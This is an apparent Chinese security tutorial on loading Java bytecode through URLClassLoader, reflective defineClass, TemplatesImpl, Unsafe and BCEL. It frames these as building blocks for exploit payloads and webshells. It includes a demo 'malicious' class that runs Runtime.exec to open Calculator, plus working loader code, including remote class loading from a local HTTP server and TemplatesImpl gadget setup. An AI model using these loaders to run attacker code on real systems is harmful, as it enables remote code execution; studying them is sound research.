07.Java加载字节码 - 图1

简介

什么是Java字节码

它是程序的一种低级表示,可以运行于Java虚拟机上。将程序抽象成字节码可以保证Java程序在各种设备上的运行
Java号称是一门“一次编译到处运行”的语言,从我们写的java文件到通过编译器编译成java字节码文件(.class文件),这个过程是java编译过程;而我们的java虚拟机执行的就是字节码文件。不论该字节码文件来自何方,由哪种编译器编译,甚至是手写字节码文件,只要符合java虚拟机的规范,那么它就能够执行该字节码文件。

JAVA程序的运行

因为Java具有跨平台特性,为了实现这个特性,Java执行在一台虚拟机上,这台虚拟机就是JVM,Java通过JVM屏蔽了不同平台之间的差异,从而做到一次编译到处执行。
JVM位于Java编译器和OS平台之间,Java编译器只需面向JVM,生成JVM能理解的代码,这个代码即字节码,JVM再将字节码翻译成真实机器所能理解的二进制机器码。

字节码如何产生

我们编写的代码文件通常是以.java作为结尾的,可以直接通过javac命令将java文件编译为.class文件,这个.class文件就是字节码文件,也可以直接运行IDE,让其自动为我们编译
image-20211027130138624

如何看懂字节码

可以参考文章:深入理解JVM-读懂java字节码

加载字节码

通常我们是编写好java代码然后ide帮我们自动编译成class字节码文件再加载到jvm中运行的,那如果我们想自己加载class文件,有哪些办法呢?

  • 后续利用到的演示恶意代码如下 ``` import java.io.IOException;

public class Exp { public Exp() throws IOException { Runtime.getRuntime().exec(new String[]{“open”, “-na”, “Calculator”}); } }

  1. - 编译为字节码

javac Exp.java

  1. ## 利用URLClassLoader加载远程class文件
  2. 利用`ClassLoader`来加载字节码文件是最基础的方法,`URLClassLoader`继承自`ClassLoader`且重写了`findClass`函数,允许远程加载字节码,在写漏洞利用的`payload`或者`webshell`的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用(当然,该方式只适应于目标出网的情况)。<br />正常情况下,Java会根据配置项 `sun.boot.class.path``java.class.path`中列举到的基础路径(这些路径是经过处理后的`java.net.URL`类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
  3. 1.
  4. URL未以斜杠/结尾,则认为是一个JAR文件,使用 `JarLoader` 来寻找类,即为在Jar包中寻找`.class`文件(jar文件中直接包含class文件,可以使用命令 `jar cvf Exp.jar Exp.class` 进行打包)。

import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader;

public class loadClassFile { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException { URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(“http://127.0.0.1:8000/Exp.jar")}); // 会加载 http://127.0.0.1:8000/Exp.jar中的Exp.class Class<?> exp = urlClassLoader.loadClass(“Exp”); // 触发构造函数,弹计算器 exp.newInstance(); } }

  1. 1.
  2. URL以斜杠/结尾,且协议名是 `file` ,则使用 `FileLoader` 来寻找类,即为在本地文件系统中寻找`.class`文件。

import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader;

public class loadClassFile { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException { URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(“file:/Users/d4m1ts/d4m1ts/java/classloader/“)}); // 会加载 /Users/d4m1ts/d4m1ts/java/classloader/Exp.class Class<?> exp = urlClassLoader.loadClass(“Exp”); // 触发构造函数,弹计算器 exp.newInstance(); } }

  1. 1.
  2. **URL以斜杠/结尾,且协议名不是 `file` ,则使用最基础的 `Loader` 来寻找类`.class`文件。**

import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader;

public class loadClassFile { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException { URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(“http://127.0.0.1:8000/")}); // 会加载 http://127.0.0.1:8000/Exp.class Class<?> exp = urlClassLoader.loadClass(“Exp”); // 触发构造函数,弹计算器 exp.newInstance(); } }

  1. 主要关注第三点,利用基础的`Loader`类来寻找类,而要利用这一点必须是非`file`协议的情况下<br />除`file`协议外,JAVA默认提供了对`ftp,gopher,http,https,jar,mailto,netdoc`协议的支持<br />因此作为攻击者,只要我们能够控制目标`Java URLClassLoader`的基础路径为一个http服务器,则可以利用远程加载的方式执行任意代码了。
  2. ## 利用ClassLoader#defineClass加载字节码
  3. 其实java不管是加载远程的class文件,还是本地的class或者jar文件,都是要经历下面三个方法调用的:
  4. 1. `loadClass`: 从已加载的类缓存、父加载器等位置寻找类(双亲委派机制),在前面没有找到的情况下,执行 `findClass`
  5. 1. `findClass`: 根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 `defineClass`
  6. 1. `defineClass`: 处理前面传入的字节码,将其处理成真正的Java类。
  7. 着重关注第三个方法`defindClass`,由于`ClassLoader#defineClass`方法是`protected`所以我们无法直接从外部进行调用,所以我们这里需要借助反射来调用这个方法。
  8. > 由于`ClassLoader#defineClass`方法是`protected`所以我们无法直接从外部进行调用,所以我们这里需要借助反射来调用这个方法

import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths;

public class loadClassFile {

  1. public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
  2. byte[] classBytes = Files.readAllBytes(Paths.get("/Users/d4m1ts/d4m1ts/java/classloader/Exp.class"));
  3. // 通过反射调用 defineClass
  4. Class<ClassLoader> clazz = ClassLoader.class;
  5. Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
  6. defineClass.setAccessible(true);
  7. Class exp = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Exp", classBytes, 0, classBytes.length);
  8. // 需要手动实例化触发构造函数
  9. exp.newInstance();
  10. }

}

  1. ![image-20211027142250070](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987507705-43bad4f2-4b43-4867-b5ef-2b68fc9dd8a3.png)<br />需要注意的是,`ClassLoader#defineClass`返回的类并不会初始化,只有这个对象显式地调用其构造函数初始化代码才能被执行,所以我们需要想办法调用返回的类的构造函数才能执行命令。<br />在实际场景中,因为`defineClass`方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 `TemplatesImpl` 的基石。
  2. ## 利用TemplatesImpl加载字节码
  3. 在多个Java反序列化利用链,以及fastjsonjackson的漏洞中,都曾出现过 `TemplatesImpl` 的身影。虽然大部分上层开发者不会直接使用到`defineClass`方法,同时`java.lang.ClassLoader``defineClass`方法作用域是不开放的(`protected`),很难利用,但是Java底层还是有一些类用到了它,譬如`TemplatesImpl`<br />在`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`类中定义了一个内部类:`TransletClassLoader`<br />![image-20211027142849878](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987510692-3d73f041-5493-4b3d-8577-1aebae5e6bba.png)<br />可以看到这个类继承了`ClassLoader`,而且重写了`defineClass`方法,并且没有显式地定义方法的作用域。
  4. > Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为`default`。也就是说**这里的`defineClass`由其父类的`protected`类型变成了一个`default`类型的方法,可以被同一个包下的类调用**。
  5. 由于`TransletClassLoader``default`的可以被同一个包下的类调用,所以由下向上寻找这个`defineClass()``TemplatesImpl`中的调用链<br />一直`Find Usages`,最终找到调用链如下:

TemplatesImpl#getOutputProperties() TemplatesImpl#newTransformer() TemplatesImpl#getTransletInstance() TemplatesImpl#defineTransletClasses() TransletClassLoader#defineClass(final byte[] b)

  1. 最外层的2个方法均是`public`修饰的,可以被外部调用,以`TemplatesImpl#getOutputProperties()`为例。
  2. -
  3. 初次观察整个链,需要设置的参数如下`_bytecodes(字节码,不能为null)``_name(不能为null)``_class(需要为null,而默认情况下也为null,所以可以不需要)`
  4. -
  5. 但是这样会抛出异常`NullPointerException`,经过分析,发现还需要设置`_tfactory`参数,它的类型为`TransformerFactoryImpl`
  6. 所以一共需要设置3个参数,分别是`_bytecodes``_name``_tfactory`<br />通过下方实例化的代码,可以看出远程加载的类还必须继承`AbstractTranslet`类<br />![image-20211027155836709](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987512826-14cc0816-0cef-4cce-be71-9f0a573b0a72.png)
  7. - 所以我们的恶意类代码修改如下:

import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Exp2 extends AbstractTranslet { public Exp2() throws IOException { Runtime.getRuntime().exec(new String[]{“open”, “-na”, “Calculator”}); }

  1. @Override
  2. public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  3. }
  4. @Override
  5. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  6. }

}

  1. - 加载字节码代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException; import java.io.IOException; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;

public class loadClassFile {

  1. public static void main(String[] args) throws IOException, IllegalAccessException, NoSuchFieldException, TransformerConfigurationException {
  2. byte[] classBytes = Files.readAllBytes(Paths.get("/Users/d4m1ts/d4m1ts/java/classloader/Exp2.class"));
  3. TemplatesImpl templates = new TemplatesImpl();
  4. Class clazz = templates.getClass();
  5. Field bytecodes = clazz.getDeclaredField("_bytecodes");
  6. Field name = clazz.getDeclaredField("_name");
  7. Field _tfactory = clazz.getDeclaredField("_tfactory");
  8. bytecodes.setAccessible(true);
  9. name.setAccessible(true);
  10. _tfactory.setAccessible(true);
  11. bytecodes.set(templates, new byte[][]{classBytes});
  12. name.set(templates, "d4m1ts");
  13. _tfactory.set(templates, new TransformerFactoryImpl());
  14. templates.newTransformer();
  15. }

}

  1. ![image-20211027160032003](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987515833-c22c499b-8876-4a13-9f2e-2aa22c2e0b8d.png)
  2. ## 利用Unsafe#defineClass加载字节码
  3. `Unsafe`是位于`sun.misc`包下的一个类,主要提供一些用于执行低级别、不安全操作的方法,如直接访问系统内存资源、自主管理内存资源等,这些方法在提升Java运行效率、增强Java语言底层资源操作能力方面起到了很大的作用。使用该类可以获取到底层的控制权,该类在`sun.misc`包,默认是**BootstrapClassLoader**加载的。<br />而它里面也存在一个`defineClass`方法,且为`public`可直接调用<br />![image-20211027163022076](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987518481-5cd64c6a-d19b-4604-96c2-15bf49060beb.png)<br />但因为**Unsafe**的构造方法是private类型的,所以无法通过new方式**实例化**获取,只能通过它的`getUnsafe()`方法获取。 又因为**Unsafe**是直接操作内存的,为了安全起见,Java的开发人员为**Unsafe**的获取设置了限制,所以想要获取它只能通过Java的反射机制来获取。<br />因为安全问题,不能直接调用<br />![image-20211027163816243](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987520968-3aede922-6291-4b6d-98c1-6a706444b6af.png)<br />但前面也说了,我们可以通过反射的方式来调用<br />通过分析发现,`theUnsafe`为`Unsafe`的对象,我们反射拿到这个对象,就可以执行任意方法了<br />加载字节码代码

import sun.misc.Unsafe;

import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths; import java.security.ProtectionDomain;

public class loadClassFile {

  1. public static void main(String[] args) throws IOException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
  2. byte[] classBytes = Files.readAllBytes(Paths.get("/Users/d4m1ts/d4m1ts/java/classloader/Exp.class"));
  3. Class<Unsafe> unsafeClass = Unsafe.class;
  4. Field theUnsafe = unsafeClass.getDeclaredField("theUnsafe");
  5. theUnsafe.setAccessible(true);
  6. Unsafe unsafe = (Unsafe) theUnsafe.get(null);
  7. Class<?> exp = unsafe.defineClass("Exp", classBytes, 0, classBytes.length, ClassLoader.getSystemClassLoader(), null);
  8. exp.newInstance();
  9. }

}

  1. ![image-20211027164550213](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987525916-ad52c8ce-c92e-4001-b78d-99fd7519658d.png)
  2. ## 利用BCEL ClassLoader加载字节码
  3. BCELByte Code Engineering Library)的全名应该是`Apache Commons BCEL`,属于Apache Commons项目下的一个子项目。它提供了一系列用于分析、创建、修改Java Class文件的API。但其因为被`Apache Xalan`所使用,而`Apache Xalan`又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的原生库中,位于`com.sun.org.apache.bcel`
  4. > 虽然说它包含在原生库吧,但是在jdk8u251后,`com.sun.org.apache.bcel.internal.util.ClassLoader`就被删除了,如果单独引入了它的依赖,则还有ClassLoader,参考 [BCEL ClassLoader去哪了](2d8d1b9ce4d8e315b35779ce716d00cc)
  5. > 依赖:
  6. >
org.apache.bcel bcel 5.2
  1. bcel的包中有一个`ClassLoader`,他重写了Java内置的`ClassLoader#loadClass()`方法,在`loadclass`方法中会对类名进行判断,如果类名以`$$BCEL$$`开始,就会进入`createClass`方法,<br />![image-20211027171201746](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987528787-a9b8358f-e29f-406f-abff-d78210f286d6.png)<br />然后在`createClass`方法里面,会调用`Utility.decode()`来解密,最后生成`clazz`<br />![image-20211027171850126](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987531889-1a2907d8-3ab3-45ba-a923-a3c60633ac30.png)<br />但如何生成能给它解密的字节码呢?<br />通过`BCEL`提供的两个类`Repository`和`Utility`来实现:
  2. - `Repository`:用于将一个`Class`先转换成原生字节码,当然这里也可以直接使用`javac`命令来编译 java 文件生成字节码;
  3. - `Utility`:用于将原生的字节码转换成BCEL格式的字节码;
  4. 利用代码

JavaClass javaClass = Repository.lookupClass(Exp.class); String encode = Utility.encode(javaClass.getBytes(), true); System.out.println(encode); new org.apache.bcel.util.ClassLoader().loadClass(“BCEL” + encode).newInstance();

  1. 结果<br />![image-20211028113432432](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987533832-a3ef0c27-43eb-47cf-bddf-a85710444968.png)<br />看着很简单很容易,但是有很多坑<br />**坑点一:**<br />jdk8u261,`Utility.encode`中,`GZIPOutputStream`流不会`close`,所以内容写不进`ByteArrayOutputStream`的(给俺整懵了,网上没找到一个说这个问题的,还是得自己调试才行,离谱)<br />![image-20211028110637374](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987538115-0228af16-643e-4efd-9558-a10fd1dcece9.png)<br />换了个低版本的jdk8u231,就关闭了流可以写入进行加密,俺也不懂为啥高版本删除了,难道是删除`ClassLoader`的时候一起删除了?。。。<br />![image-20211028110900726](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987541459-bb8ecb22-4cda-43bd-beb2-4603d991b6cb.png)<br />**坑点二:**<br />换了低版本的JDK,但是出现了新的问题,提示`不支持的操作`<br />![image-20211028112355961](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987545346-47cbe1ff-5a7f-4ea2-91fe-cde5a526beb6.png)<br />跟了一下,发现在`ClassLoader#createClass()`方法中有问题<br />其中在调用`setBytes()`是提示这个方法调用会失败<br />![image-20211028112527428](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987547251-ef198761-f914-4869-823a-8e96e2dd4bf4.png)<br />跟进一下,发现会直接抛出异常。。。<br />![image-20211028112603550](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987550849-7a793f7d-fb7b-4e44-b4ce-86659575dd8a.png)<br />找了一大圈,没发现有人提到这个问题,后来不经意看到了`setBytes`的说明,在`BCEL 6.0`的时候遗弃了。。。<br />![image-20211028112848727](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987551710-9c3c9c27-ecd1-485c-9e86-f3191b465c90.png)<br />所以需要用低于6.0版本的BCEL,换了个06年的5.2
org.apache.bcel bcel 5.2

``` 方法没被遗弃,然后解决了这个问题
image-20211028113216521

参考